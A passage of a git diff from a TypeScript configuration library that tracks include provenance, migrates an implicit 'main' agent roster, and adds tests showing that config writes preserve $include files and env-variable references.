(Array.isArray(obj)) { - return obj.map((item) => this.process(item)); + return obj.map((item) => this.process(item, logicalPath)); } if (!isPlainObject(obj)) { @@ -172,24 +174,28 @@ class IncludeProcessor { } if (!(INCLUDE_KEY in obj)) { - return this.processObject(obj); + return this.processObject(obj, logicalPath); } - return this.processInclude(obj); + return this.processInclude(obj, logicalPath); } - private processObject(obj: Record): Record { + private processObject( + obj: Record, + logicalPath: readonly string[], + ): Record { const result: Record = {}; for (const [key, value] of Object.entries(obj)) { - result[key] = this.process(value); + result[key] = this.process(value, [...logicalPath, key]); } return result; } - private processInclude(obj: Record): unknown { + private processInclude(obj: Record, logicalPath: readonly string[]): unknown { const includeValue = obj[INCLUDE_KEY]; const otherKeys = Object.keys(obj).filter((k) => k !== INCLUDE_KEY); - const included = this.resolveInclude(includeValue); + const included = this.resolveInclude(includeValue, logicalPath); + this.resolver.onIncludeResolved?.({ path: [...logicalPath], value: included }); if (otherKeys.length === 0) { return included; @@ -205,14 +211,14 @@ class IncludeProcessor { // Merge included content with sibling keys const rest: Record = {}; for (const key of otherKeys) { - rest[key] = this.process(obj[key]); + rest[key] = this.process(obj[key], [...logicalPath, key]); } return deepMerge(included, rest); } - private resolveInclude(value: unknown): unknown { + private resolveInclude(value: unknown, logicalPath: readonly string[]): unknown { if (typeof value === "string") { - return this.loadFile(value); + return this.loadFile(value, logicalPath); } if (Array.isArray(value)) { @@ -223,7 +229,7 @@ class IncludeProcessor { String(item), ); } - return deepMerge(merged, this.loadFile(item)); + return deepMerge(merged, this.loadFile(item, logicalPath)); }, {}); } @@ -233,7 +239,7 @@ class IncludeProcessor { ); } - private loadFile(includePath: string): unknown { + private loadFile(includePath: string, logicalPath: readonly string[]): unknown { const { resolvedPath, root } = this.resolvePath(includePath); this.checkCircular(resolvedPath); @@ -242,7 +248,7 @@ class IncludeProcessor { const raw = this.readFile(includePath, resolvedPath, root); const parsed = this.parseFile(includePath, resolvedPath, raw); - return this.processNested(resolvedPath, parsed); + return this.processNested(resolvedPath, parsed, logicalPath); } private resolvePath(includePath: string): { resolvedPath: string; root: IncludeRoot } { @@ -378,11 +384,15 @@ class IncludeProcessor { } } - private processNested(resolvedPath: string, parsed: unknown): unknown { + private processNested( + resolvedPath: string, + parsed: unknown, + logicalPath: readonly string[], + ): unknown { const nested = new IncludeProcessor(resolvedPath, this.resolver, this.boundary); nested.visited = new Set([...this.visited, resolvedPath]); nested.depth = this.depth + 1; - return nested.process(parsed); + return nested.process(parsed, logicalPath); } } diff --git a/src/config/io.best-effort.test.ts b/src/config/io.best-effort.test.ts index 07c31f396e61..96293ba2d685 100644 --- a/src/config/io.best-effort.test.ts +++ b/src/config/io.best-effort.test.ts @@ -193,7 +193,11 @@ describe("readBestEffortConfig", () => { const snapshot = await readConfigFileSnapshot(); - expect(snapshot.sourceConfig).toEqual({ update: { channel: "beta" } }); + expect(snapshot.sourceConfigBeforeMigrations).toEqual({ update: { channel: "beta" } }); + expect(snapshot.sourceConfig).toEqual({ + update: { channel: "beta" }, + agents: { entries: { main: { default: true } } }, + }); expect(await fs.readFile(configPath, "utf-8")).toBe(directEditRaw); const entries = await fs.readdir(`${home}/.openclaw`); expect(entries.some((entry) => entry.startsWith("openclaw.json.clobbered."))).toBe(false); @@ -283,7 +287,7 @@ describe("readSourceConfigBestEffort", () => { const snapshot = await readConfigFileSnapshot(); const sourceBestEffort = await readSourceConfigBestEffort(); - expect(sourceBestEffort).toEqual(snapshot.resolved); + expect(sourceBestEffort).toEqual(snapshot.sourceConfigBeforeMigrations); expect(sourceBestEffort.agents?.defaults?.contextPruning?.mode).toBeUndefined(); expect(sourceBestEffort.agents?.defaults?.compaction?.mode).toBeUndefined(); }); diff --git a/src/config/io.context.ts b/src/config/io.context.ts index 0a7b7b75c664..16e4edf251d8 100644 --- a/src/config/io.context.ts +++ b/src/config/io.context.ts @@ -26,6 +26,7 @@ import { } from "./io.read-helpers.js"; import { autoOwnerDisplaySecretByPath } from "./io.state.js"; import type { ConfigIoFactoryOptions, NormalizedConfigIoDeps } from "./io.types.js"; +import { migratePersistedImplicitMainRoster } from "./legacy.roster.js"; import { materializeRuntimeConfig } from "./materialize.js"; import { applyConfigOverrides } from "./runtime-overrides.js"; import { resolveShellEnvExpectedKeys } from "./shell-env-expected-keys.js"; @@ -125,7 +126,7 @@ export function createConfigIoContext(options: ConfigIoFactoryOptions = {}): Con const env = { ...deps.env } as NodeJS.ProcessEnv; const resolvedIncludes = resolveConfigIncludesForRead(candidate, configPath, { ...deps, env }); const resolution = resolveConfigForRead(resolvedIncludes, env, deps.lowerPrecedenceEnv); - return coerceConfig(resolution.resolvedConfigRaw); + return coerceConfig(migratePersistedImplicitMainRoster(resolution.resolvedConfigRaw).config); } function resolveSuspiciousRecoveryBackupCandidate(parsed: unknown): OpenClawConfig | null { diff --git a/src/config/io.load.ts b/src/config/io.load.ts index f1811760c031..d0839e57963b 100644 --- a/src/config/io.load.ts +++ b/src/config/io.load.ts @@ -26,6 +26,7 @@ import { warnIfConfigFromFuture, warnOnConfigMiskeys, } from "./io.warnings.js"; +import { migratePersistedImplicitMainRoster } from "./legacy.js"; import { resolveShellEnvExpectedKeys } from "./shell-env-expected-keys.js"; import type { OpenClawConfig } from "./types.js"; import { validateConfigObjectWithPlugins } from "./validation.js"; @@ -54,7 +55,7 @@ export function loadConfigFromContext( timeoutMs: resolveShellEnvFallbackTimeoutMs(deps.env), }); } - return {}; + return migratePersistedImplicitMainRoster({}).config as OpenClawConfig; } const raw = deps.fs.readFileSync(configPath, "utf-8"); const parsed = deps.json5.parse(raw); @@ -63,7 +64,8 @@ export function loadConfigFromContext( deps.env, deps.lowerPrecedenceEnv, ); - const effectiveConfigRaw = readResolution.resolvedConfigRaw; + const rosterMigration = migratePersistedImplicitMainRoster(readResolution.resolvedConfigRaw); + const effectiveConfigRaw = rosterMigration.config; const validationConfigRaw = effectiveConfigRaw; const snapshotRaw = raw; const snapshotParsed = parsed; @@ -73,6 +75,9 @@ export function loadConfigFromContext( `Config (${configPath}): missing env var "${warning.varName}" at ${warning.configPath} - feature using this value will be unavailable`, ); } + for (const diagnostic of rosterMigration.diagnostics) { + deps.logger.warn(`Config (${configPath}): ${diagnostic}`); + } warnOnConfigMiskeys(validationConfigRaw, deps.logger); if (typeof validationConfigRaw !== "object" || validationConfigRaw === null) { loggedConfigWarningFingerprints.delete(configPath); diff --git a/src/config/io.read-helpers.ts b/src/config/io.read-helpers.ts index a2cc58967b0b..57e07103f551 100644 --- a/src/config/io.read-helpers.ts +++ b/src/config/io.read-helpers.ts @@ -233,6 +233,7 @@ export function resolveConfigIncludesForRead( includeFileHashesForWrite?: Record, includeFileTargetsForWrite?: Record, includeFilePathsForWatch?: Set, + onIncludeResolved?: (event: { path: readonly string[]; value: unknown }) => void, ): unknown { const allowedRoots = resolveIncludeRoots(deps.env, deps.homedir); const recordIncludeWatchPath = (resolvedPath: string) => { @@ -258,6 +259,7 @@ export function resolveConfigIncludesForRead( { readFile: (candidate) => deps.fs.readFileSync(candidate, "utf-8"), onLexicalPath: recordIncludeWatchPath, + onIncludeResolved, readFileWithGuards: ({ includePath, resolvedPath, rootRealDir }) => { try { const raw = readConfigIncludeFileWithGuards({ diff --git a/src/config/io.runtime.ts b/src/config/io.runtime.ts index a962a3e60d29..174d7f81a665 100644 --- a/src/config/io.runtime.ts +++ b/src/config/io.runtime.ts @@ -291,6 +291,7 @@ export async function writeConfigFile( explicitSetValueSource: options.explicitSetPaths ? (options.explicitSetValueSource ?? cfg) : undefined, + allowIncludeAncestorExplicitSetPaths: options.allowIncludeAncestorExplicitSetPaths, afterWrite: options.afterWrite, allowDestructiveWrite: options.allowDestructiveWrite, allowConfigSizeDrop: options.allowConfigSizeDrop, @@ -490,5 +491,5 @@ async function finalizeCommittedConfigWrite(params: { } throw error; } - return { ...writeResult, persistedConfig: canonicalSourceConfig }; + return writeResult; } diff --git a/src/config/io.snapshot-shared.ts b/src/config/io.snapshot-shared.ts index cfb7aeb25d1d..64bdf99e3e30 100644 --- a/src/config/io.snapshot-shared.ts +++ b/src/config/io.snapshot-shared.ts @@ -6,9 +6,11 @@ import type { ConfigFileSnapshot, LegacyConfigIssue, OpenClawConfig } from "./ty export function createConfigFileSnapshot(params: { path: string; includedPaths?: readonly string[]; + includeProvenance?: ConfigFileSnapshot["includeProvenance"]; exists: boolean; raw: string | null; parsed: unknown; + sourceConfigBeforeMigrations?: OpenClawConfig; sourceConfig: OpenClawConfig; valid: boolean; runtimeConfig: OpenClawConfig; @@ -23,9 +25,15 @@ export function createConfigFileSnapshot(params: { return { path: params.path, includedPaths: [...(params.includedPaths ?? [])], + ...(params.includeProvenance ? { includeProvenance: params.includeProvenance } : {}), exists: params.exists, raw: params.raw, parsed: params.parsed, + ...(params.sourceConfigBeforeMigrations + ? { + sourceConfigBeforeMigrations: asResolvedSourceConfig(params.sourceConfigBeforeMigrations), + } + : {}), sourceConfig, resolved: sourceConfig, valid: params.valid, diff --git a/src/config/io.snapshot.ts b/src/config/io.snapshot.ts index fff077095a8e..c3ed2af180f2 100644 --- a/src/config/io.snapshot.ts +++ b/src/config/io.snapshot.ts @@ -1,3 +1,4 @@ +import { includeContributionOwnsAgentRoster } from "./agent-roster-provenance.js"; import { ConfigIncludeError } from "./includes.js"; import type { ConfigIoContext } from "./io.context.js"; import { maybeRecoverSuspiciousConfigRead } from "./io.observe-recovery.js"; @@ -27,6 +28,7 @@ import type { } from "./io.types.js"; import { warnIfConfigFromFuture } from "./io.warnings.js"; import { resolveManagedUnsetPathsForWrite } from "./io.write-prepare.js"; +import { migratePersistedImplicitMainRoster } from "./legacy.js"; import { materializeRuntimeConfig } from "./materialize.js"; import { ConfigMutationConflictError } from "./mutation-conflict.js"; import type { ConfigFileSnapshot, LegacyConfigIssue, OpenClawConfig } from "./types.js"; @@ -53,7 +55,8 @@ export async function readConfigFileSnapshotInternal( maybeLoadDotEnvForConfig(deps.env); const envBeforeRead = snapshotEnv(deps.env); if (!deps.fs.existsSync(configPath)) { - const config = {}; + const migrated = migratePersistedImplicitMainRoster({}); + const config = coerceConfig(migrated.config); const legacyIssues: LegacyConfigIssue[] = []; return await finalizeReadConfigSnapshotInternalResult(deps, { snapshot: createConfigFileSnapshot({ @@ -61,7 +64,7 @@ export async function readConfigFileSnapshotInternal( exists: false, raw: null, parsed: {}, - sourceConfig: {}, + sourceConfig: config, valid: true, runtimeConfig: config, hash: hashConfigRaw(null), @@ -80,6 +83,7 @@ export async function readConfigFileSnapshotInternal( const includeFileHashesForWrite: Record = {}; const includeFileTargetsForWrite: Record = {}; const includeFilePathsForWatch = new Set(); + let agentRosterIncludeOwned = false; try { const raw = await deps.measure("config.snapshot.read.file", () => @@ -123,6 +127,9 @@ export async function readConfigFileSnapshotInternal( includeFileHashesForWrite, includeFileTargetsForWrite, includeFilePathsForWatch, + (event) => { + agentRosterIncludeOwned ||= includeContributionOwnsAgentRoster(event); + }, ), ); } catch (error) { @@ -158,7 +165,11 @@ export async function readConfigFileSnapshotInternal( path: warning.configPath, message: `Missing env var "${warning.varName}" - feature using this value will be unavailable`, })); - const effectiveConfigRaw = readResolution.resolvedConfigRaw; + const rosterMigration = migratePersistedImplicitMainRoster(readResolution.resolvedConfigRaw); + envVarWarnings.push( + ...rosterMigration.diagnostics.map((message) => ({ path: "agents.entries", message })), + ); + const effectiveConfigRaw = rosterMigration.config; const validationConfigRaw = effectiveConfigRaw; const snapshotRaw = raw; const snapshotParsed = effectiveParsed; @@ -194,6 +205,8 @@ export async function readConfigFileSnapshotInternal( exists: true, raw: snapshotRaw, parsed: snapshotParsed, + includeProvenance: { agentRoster: agentRosterIncludeOwned }, + sourceConfigBeforeMigrations: coerceConfig(readResolution.resolvedConfigRaw), sourceConfig: coerceConfig(effectiveConfigRaw), valid: false, runtimeConfig: coerceConfig(effectiveConfigRaw), @@ -269,6 +282,8 @@ export async function readConfigFileSnapshotInternal( exists: true, raw: snapshotRaw, parsed: snapshotParsed, + includeProvenance: { agentRoster: agentRosterIncludeOwned }, + sourceConfigBeforeMigrations: coerceConfig(readResolution.resolvedConfigRaw), sourceConfig: coerceConfig(effectiveConfigRaw), valid: true, runtimeConfig: snapshotConfig, diff --git a/src/config/io.types.ts b/src/config/io.types.ts index acd6d2ee0b02..f726edcb020b 100644 --- a/src/config/io.types.ts +++ b/src/config/io.types.ts @@ -45,6 +45,8 @@ export type ConfigWriteOptions = { explicitSetPaths?: readonly (readonly string[])[]; /** Source-shaped values paired with explicitSetPaths. */ explicitSetValueSource?: OpenClawConfig; + /** Permit explicit local overrides below an ancestor $include without flattening it. */ + allowIncludeAncestorExplicitSetPaths?: boolean; /** Fresh snapshot fast path for an immediate write. */ baseSnapshot?: ConfigFileSnapshot; /** Plugin metadata paired with baseSnapshot. */ diff --git a/src/config/io.write-config.test.ts b/src/config/io.write-config.test.ts index 7b1d8368ae60..286c8f082410 100644 --- a/src/config/io.write-config.test.ts +++ b/src/config/io.write-config.test.ts @@ -1089,8 +1089,14 @@ describe("config io write", () => { expect(snapshot.valid).toBe(false); expect(snapshot.raw).toBe(originalRaw); expect(snapshot.parsed).toEqual(original); - expect(snapshot.sourceConfig).toEqual(original); - expect(snapshot.config).toEqual(original); + expect(snapshot.sourceConfig).toEqual({ + ...original, + agents: { entries: { main: { default: true } } }, + }); + expect(snapshot.config).toEqual({ + ...original, + agents: { entries: { main: { default: true } } }, + }); expect(snapshot.issues[0]?.message).toContain("unknown channel id: test-plugin-channel"); }); }); @@ -1542,6 +1548,66 @@ describe("config io write", () => { }); }); + it("does not persist the injected roster for a non-roster first write", async () => { + await withSuiteHome(async (home) => { + const configPath = path.join(home, ".openclaw", "openclaw.json"); + const io = createConfigIO({ + configPath, + env: { OPENCLAW_TEST_FAST: "1" } as NodeJS.ProcessEnv, + homedir: () => home, + logger: silentLogger, + }); + const snapshot = await io.readConfigFileSnapshot(); + expect(snapshot.exists).toBe(false); + expect(snapshot.config.agents?.entries).toEqual({ main: { default: true } }); + let preflightConfig: OpenClawConfig | undefined; + + await io.writeConfigFile( + { + ...snapshot.config, + agents: { + ...snapshot.config.agents, + defaults: { model: "claude-cli/claude-opus-4-8" }, + }, + }, + { + baseSnapshot: snapshot, + preCommitRuntimePreflight: async (config) => { + preflightConfig = config; + }, + }, + ); + + expect(preflightConfig?.agents?.entries).toEqual({ main: { default: true } }); + const persisted = JSON.parse(await fs.readFile(configPath, "utf-8")) as OpenClawConfig; + expect(persisted.agents?.defaults?.model).toBe("claude-cli/claude-opus-4-8"); + expect(persisted.agents?.entries).toBeUndefined(); + expect(persisted.agents?.list).toBeUndefined(); + }); + }); + + it("persists an explicitly authored bootstrap roster on first write", async () => { + await withSuiteHome(async (home) => { + const configPath = path.join(home, ".openclaw", "openclaw.json"); + const io = createConfigIO({ + configPath, + env: { OPENCLAW_TEST_FAST: "1" } as NodeJS.ProcessEnv, + homedir: () => home, + logger: silentLogger, + }); + const snapshot = await io.readConfigFileSnapshot(); + + await io.writeConfigFile(snapshot.config, { + baseSnapshot: snapshot, + explicitSetPaths: [["agents", "entries"]], + }); + + const persisted = JSON.parse(await fs.readFile(configPath, "utf-8")) as OpenClawConfig; + expect(persisted.agents?.entries).toEqual({ main: { default: true } }); + expect(persisted.agents?.list).toBeUndefined(); + }); + }); + it("assigns distinct snapshot hashes to missing and empty root config", async () => { await withSuiteHome(async (home) => { const configPath = path.join(home, ".openclaw", "openclaw.json"); @@ -1685,6 +1751,150 @@ describe("config io write", () => { }); }); + it("does not let an unrelated include mask removal of a local gateway mode", async () => { + await withSuiteHome(async (home) => { + const configPath = path.join(home, ".openclaw", "openclaw.json"); + const includePath = path.join(home, ".openclaw", "agents.json5"); + await fs.mkdir(path.dirname(configPath), { recursive: true }); + await fs.writeFile( + includePath, + `${JSON.stringify({ + defaults: { workspace: "/srv/old" }, + entries: { ops: { default: true } }, + })}\n`, + "utf-8", + ); + await fs.writeFile( + configPath, + `${JSON.stringify({ + agents: { $include: "./agents.json5" }, + gateway: { mode: "${GATEWAY_MODE}" }, + })}\n`, + "utf-8", + ); + const io = createConfigIO({ + env: { GATEWAY_MODE: "local", OPENCLAW_TEST_FAST: "1" } as NodeJS.ProcessEnv, + homedir: () => home, + logger: silentLogger, + }); + const snapshot = await io.readConfigFileSnapshot(); + + await expectConfigWriteRejected( + io.writeConfigFile( + { agents: snapshot.config.agents }, + { + explicitSetPaths: [["agents", "defaults", "workspace"]], + explicitSetValueSource: { + agents: { defaults: { workspace: "/srv/next" } }, + }, + allowIncludeAncestorExplicitSetPaths: true, + }, + ), + ); + + const persisted = JSON.parse(await fs.readFile(configPath, "utf-8")) as { + agents?: { $include?: string }; + gateway?: { mode?: string }; + }; + expect(persisted.agents?.$include).toBe("./agents.json5"); + expect(persisted.gateway?.mode).toBe("${GATEWAY_MODE}"); + }); + }); + + it("preserves a leaf-included gateway mode during an unrelated include override", async () => { + await withSuiteHome(async (home) => { + const configPath = path.join(home, ".openclaw", "openclaw.json"); + const agentsPath = path.join(home, ".openclaw", "agents.json5"); + const modePath = path.join(home, ".openclaw", "gateway-mode.json5"); + await fs.mkdir(path.dirname(configPath), { recursive: true }); + await fs.writeFile( + agentsPath, + `${JSON.stringify({ + defaults: { workspace: "/srv/old" }, + entries: { ops: { default: true } }, + })}\n`, + "utf-8", + ); + await fs.writeFile(modePath, `${JSON.stringify("local")}\n`, "utf-8"); + await fs.writeFile( + configPath, + `${JSON.stringify({ + agents: { $include: "./agents.json5" }, + gateway: { mode: { $include: "./gateway-mode.json5" } }, + })}\n`, + "utf-8", + ); + const io = createConfigIO({ + env: { OPENCLAW_TEST_FAST: "1" } as NodeJS.ProcessEnv, + homedir: () => home, + logger: silentLogger, + }); + const snapshot = await io.readConfigFileSnapshot(); + + await io.writeConfigFile(snapshot.config, { + explicitSetPaths: [["agents", "defaults", "workspace"]], + explicitSetValueSource: { + agents: { defaults: { workspace: "/srv/next" } }, + }, + allowIncludeAncestorExplicitSetPaths: true, + }); + + const persisted = JSON.parse(await fs.readFile(configPath, "utf-8")) as { + agents?: { $include?: string; defaults?: { workspace?: string } }; + gateway?: { mode?: { $include?: string } }; + }; + expect(persisted.agents).toMatchObject({ + $include: "./agents.json5", + defaults: { workspace: "/srv/next" }, + }); + expect(persisted.gateway?.mode?.$include).toBe("./gateway-mode.json5"); + }); + }); + + it("does not let a surviving sibling include mask removal of the gateway include", async () => { + await withSuiteHome(async (home) => { + const configPath = path.join(home, ".openclaw", "openclaw.json"); + const agentsPath = path.join(home, ".openclaw", "agents.json5"); + const gatewayPath = path.join(home, ".openclaw", "gateway.json5"); + await fs.mkdir(path.dirname(configPath), { recursive: true }); + await fs.writeFile( + agentsPath, + `${JSON.stringify({ + defaults: { workspace: "/srv/old" }, + entries: { ops: { default: true } }, + })}\n`, + "utf-8", + ); + await fs.writeFile(gatewayPath, `${JSON.stringify({ mode: "local" })}\n`, "utf-8"); + const authored = { + agents: { $include: "./agents.json5" }, + gateway: { $include: "./gateway.json5" }, + }; + await fs.writeFile(configPath, `${JSON.stringify(authored)}\n`, "utf-8"); + const io = createConfigIO({ + env: { OPENCLAW_TEST_FAST: "1" } as NodeJS.ProcessEnv, + homedir: () => home, + logger: silentLogger, + }); + const snapshot = await io.readConfigFileSnapshot(); + + await expect( + io.writeConfigFile( + { agents: snapshot.config.agents }, + { + explicitSetPaths: [["agents", "defaults", "workspace"]], + explicitSetValueSource: { + agents: { defaults: { workspace: "/srv/next" } }, + }, + allowIncludeAncestorExplicitSetPaths: true, + }, + ), + ).rejects.toThrow("Config write would flatten $include-owned config at gateway"); + + await expect(fs.readFile(configPath, "utf-8")).resolves.toBe(`${JSON.stringify(authored)}\n`); + }); + }); + it("rejects repairs that would flatten a valid outer include with a broken nested include", async () => { await withSuiteHome(async (home) => { const configPath = path.join(home, ".openclaw", "openclaw.json"); @@ -1860,7 +2070,11 @@ describe("config io write", () => { expect(snapshot.valid).toBe(false); await io.writeConfigFile({ - agents: { entries: { main: { workspace: "/resolved/agent-workspace" } } }, + agents: { + entries: { + main: { default: true, workspace: "/resolved/agent-workspace" }, + }, + }, }); await expect(fs.readFile(configPath, "utf-8")).resolves.not.toBe(originalRootRaw); @@ -2094,6 +2308,7 @@ describe("config io write", () => { defaults: { model: { primary: "openrouter/anthropic/claude-sonnet-4.6" }, }, + entries: { main: { default: true } }, }); }, ); diff --git a/src/config/io.write-prepare.test.ts b/src/config/io.write-prepare.test.ts index 655f67b2c95a..3bbbe1706c0c 100644 --- a/src/config/io.write-prepare.test.ts +++ b/src/config/io.write-prepare.test.ts @@ -1,5 +1,5 @@ // Covers config write preparation diffs and metadata preservation. -import { describe, expect, it } from "vitest"; +import { describe, expect, it, vi } from "vitest"; import { collectChangedPaths, applyUnsetPathsForWrite, @@ -11,6 +11,8 @@ import { } from "./io.write-prepare.js"; import type { OpenClawConfig } from "./types.js"; +vi.unmock("../agents/agent-scope-config.js"); + describe("config io write prepare", () => { it("ignores prototype-chain keys when building merge patches", () => { // Discriminating fixture: `collision` is own on base and only inherited on @@ -59,6 +61,1126 @@ describe("config io write prepare", () => { expect(persisted).not.toHaveProperty("sessions.persistence"); }); + it("persists the complete injected roster when a pre-roster config adds an agent", () => { + const current = { + gateway: { mode: "local" }, + agents: { entries: { main: { default: true } } }, + }; + const persisted = resolvePersistCandidateForWrite({ + runtimeConfig: current, + sourceConfig: current, + rootAuthoredConfig: { gateway: { mode: "local" } }, + nextConfig: { + ...current, + agents: { + entries: { + main: { default: true }, + worker: { workspace: "/srv/worker" }, + }, + }, + }, + }) as OpenClawConfig; + + expect(persisted.agents).toEqual({ + entries: { + main: { default: true }, + worker: { workspace: "/srv/worker" }, + }, + }); + }); + + it("replaces a complete legacy list atomically when the roster changes", () => { + const entries = { + main: { default: true }, + ops: { workspace: "/srv/ops" }, + }; + const persisted = resolvePersistCandidateForWrite({ + runtimeConfig: { agents: { entries } }, + sourceConfig: { agents: { entries } }, + rootAuthoredConfig: { + agents: { + list: [ + { id: "main", default: true }, + { id: "ops", workspace: "/srv/ops" }, + ], + }, + }, + nextConfig: { + agents: { + entries: { + ...entries, + worker: { workspace: "/srv/worker" }, + }, + }, + }, + }) as OpenClawConfig; + + expect(persisted.agents).toEqual({ + entries: { + main: { default: true }, + ops: { workspace: "/srv/ops" }, + worker: { workspace: "/srv/worker" }, + }, + }); + expect(persisted.agents).not.toHaveProperty("list"); + }); + + it("uses the complete next roster when an unrelated explicit value source is present", () => { + const persisted = resolvePersistCandidateForWrite({ + runtimeConfig: { agents: { entries: { main: { default: true } } } }, + sourceConfig: { agents: { entries: { main: { default: true } } } }, + rootAuthoredConfig: { agents: { entries: { main: { default: true } } } }, + nextConfig: { + agents: { + entries: { + main: { default: true }, + worker: { workspace: "/srv/worker" }, + }, + }, + gateway: { port: 19001 }, + }, + explicitSetPaths: [["gateway", "port"]], + explicitSetValueSource: { gateway: { port: 19001 } }, + }) as OpenClawConfig; + + expect(persisted.agents?.entries).toEqual({ + main: { default: true }, + worker: { workspace: "/srv/worker" }, + }); + expect(persisted.gateway?.port).toBe(19001); + }); + + it("preserves non-roster siblings from an explicit agents parent write", () => { + const persisted = resolvePersistCandidateForWrite({ + runtimeConfig: { agents: { entries: { main: { default: true } } } }, + sourceConfig: { agents: { entries: { main: { default: true } } } }, + rootAuthoredConfig: { agents: { entries: { main: { default: true } } } }, + nextConfig: { + agents: { + entries: { + main: { default: true }, + worker: { workspace: "/srv/worker" }, + }, + }, + }, + explicitSetPaths: [["agents"]], + explicitSetValueSource: { + agents: { + defaults: { model: { primary: "openai/gpt-5.5" } }, + entries: { + main: { default: true }, + worker: { workspace: "/srv/worker" }, + }, + }, + }, + }) as OpenClawConfig; + + expect(persisted.agents?.defaults?.model).toEqual({ primary: "openai/gpt-5.5" }); + expect(persisted.agents?.entries).toHaveProperty("worker"); + }); + + it("preserves authored env references while atomically replacing a legacy roster", () => { + const resolvedMain = { default: true, agentDir: "/srv/main" }; + const persisted = resolvePersistCandidateForWrite({ + runtimeConfig: { agents: { entries: { main: resolvedMain } } }, + sourceConfig: { agents: { entries: { main: resolvedMain } } }, + rootAuthoredConfig: { + agents: { + list: [{ id: "main", default: true, agentDir: "${MAIN_AGENT_DIR}" }], + }, + }, + nextConfig: { + agents: { + entries: { + main: resolvedMain, + worker: { workspace: "/srv/worker" }, + }, + }, + }, + }) as OpenClawConfig; + + expect(persisted.agents).toEqual({ + entries: { + main: { default: true, agentDir: "${MAIN_AGENT_DIR}" }, + worker: { workspace: "/srv/worker" }, + }, + }); + }); + + it("preserves an unchanged env-backed default during an unrelated roster addition", () => { + const resolvedMain = { default: true, agentDir: "/srv/main" }; + const persisted = resolvePersistCandidateForWrite({ + runtimeConfig: { agents: { entries: { main: resolvedMain } } }, + sourceConfig: { agents: { entries: { main: resolvedMain } } }, + rootAuthoredConfig: { + agents: { + entries: { + main: { default: "${MAIN_DEFAULT}", agentDir: "/srv/main" }, + }, + }, + }, + nextConfig: { + agents: { + entries: { + main: resolvedMain, + worker: { workspace: "/srv/worker" }, + }, + }, + }, + }) as OpenClawConfig; + + expect(persisted.agents?.entries?.main?.default).toBe("${MAIN_DEFAULT}"); + }); + + it("honors an explicit roster leaf write that equals the resolved runtime value", () => { + const resolvedMain = { default: true, agentDir: "/srv/main" }; + const nextConfig = { agents: { entries: { main: resolvedMain } } }; + const persisted = resolvePersistCandidateForWrite({ + runtimeConfig: nextConfig, + sourceConfig: nextConfig, + rootAuthoredConfig: { + agents: { entries: { main: { default: true, agentDir: "${MAIN_AGENT_DIR}" } } }, + }, + nextConfig, + explicitSetPaths: [["agents", "entries", "main", "agentDir"]], + explicitSetValueSource: nextConfig, + }) as OpenClawConfig; + + expect(persisted.agents?.entries?.main?.agentDir).toBe("/srv/main"); + }); + + it("honors explicit legacy-list leaves under an env-resolved agent id", () => { + const resolvedMain = { default: true, agentDir: "/srv/main" }; + const persisted = resolvePersistCandidateForWrite({ + runtimeConfig: { agents: { entries: { main: resolvedMain } } }, + sourceConfig: { agents: { entries: { main: resolvedMain } } }, + sourceConfigBeforeMigrations: { + agents: { list: [{ id: "main", ...resolvedMain }] }, + }, + rootAuthoredConfig: { + agents: { + list: [{ id: "${AGENT_ID}", default: true, agentDir: "${MAIN_AGENT_DIR}" }], + }, + }, + nextConfig: { agents: { entries: { main: resolvedMain } } }, + explicitSetPaths: [["agents", "list", "0", "agentDir"]], + explicitSetValueSource: { + agents: { list: [{ id: "${AGENT_ID}", ...resolvedMain }] }, + }, + }) as OpenClawConfig; + + expect(persisted.agents?.entries?.main?.agentDir).toBe("/srv/main"); + }); + + it("preserves authored refs in a full legacy-list write with an env-backed id", () => { + const persisted = resolvePersistCandidateForWrite({ + runtimeConfig: { + agents: { entries: { main: { default: true, agentDir: "/resolved/old" } } }, + }, + sourceConfig: { + agents: { entries: { main: { default: true, agentDir: "/resolved/old" } } }, + }, + sourceConfigBeforeMigrations: { + agents: { list: [{ id: "main", default: true, agentDir: "/resolved/old" }] }, + }, + rootAuthoredConfig: { + agents: { + list: [{ id: "${AGENT_ID}", default: true, agentDir: "${OLD_DIR}" }], + }, + }, + nextConfig: { + agents: { entries: { main: { default: true, agentDir: "/resolved/new" } } }, + }, + explicitSetPaths: [["agents", "list"]], + explicitSetValueSource: { + agents: { + list: [{ id: "${AGENT_ID}", default: true, agentDir: "${NEW_DIR}" }], + }, + }, + }) as OpenClawConfig; + + expect(persisted.agents?.entries).toEqual({ + main: { default: true, agentDir: "${NEW_DIR}" }, + }); + }); + + it("rejects a whole-list write with an unmappable new env-backed id", () => { + expect(() => + resolvePersistCandidateForWrite({ + runtimeConfig: { + agents: { entries: { main: { default: true } } }, + }, + sourceConfig: { + agents: { entries: { main: { default: true } } }, + }, + sourceConfigBeforeMigrations: { + agents: { list: [{ id: "main", default: true }] }, + }, + rootAuthoredConfig: { + agents: { list: [{ id: "main", default: true }] }, + }, + nextConfig: { + agents: { + entries: { + main: { default: true }, + worker: { workspace: "/resolved/worker" }, + }, + }, + }, + explicitSetPaths: [["agents", "list"]], + explicitSetValueSource: { + agents: { + list: [ + { id: "main", default: true }, + { id: "${WORKER_ID}", workspace: "${WORKER_DIR}" }, + ], + }, + }, + }), + ).toThrow("cannot safely resolve an explicitly replaced agent list slot"); + }); + + it("keeps explicit legacy-list reorders keyed by each new item id", () => { + const main = { id: "main", default: true, workspace: "/srv/main" }; + const ops = { id: "ops", workspace: "/srv/ops" }; + const persisted = resolvePersistCandidateForWrite({ + runtimeConfig: { + agents: { + entries: { + main: { default: true, workspace: "/srv/main" }, + ops: { workspace: "/srv/ops" }, + }, + }, + }, + sourceConfig: { + agents: { + entries: { + main: { default: true, workspace: "/srv/main" }, + ops: { workspace: "/srv/ops" }, + }, + }, + }, + sourceConfigBeforeMigrations: { agents: { list: [main, ops] } }, + rootAuthoredConfig: { agents: { list: [main, ops] } }, + nextConfig: { agents: { list: [ops, main] } }, + explicitSetPaths: [["agents", "list"]], + explicitSetValueSource: { agents: { list: [ops, main] } }, + }) as OpenClawConfig; + + expect(persisted.agents?.entries).toEqual({ + ops: { workspace: "/srv/ops" }, + main: { default: true, workspace: "/srv/main" }, + }); + }); + + it("preserves unchanged authored array elements during partial roster changes", () => { + const runtimeMain = { + default: true, + tools: { allow: ["read", "old"] }, + }; + const persisted = resolvePersistCandidateForWrite({ + runtimeConfig: { agents: { entries: { main: runtimeMain } } }, + sourceConfig: { agents: { entries: { main: runtimeMain } } }, + rootAuthoredConfig: { + agents: { + entries: { + main: { + default: true, + tools: { allow: ["${PRIMARY_TOOL}", "old"] }, + }, + }, + }, + }, + nextConfig: { + agents: { + entries: { + main: { default: 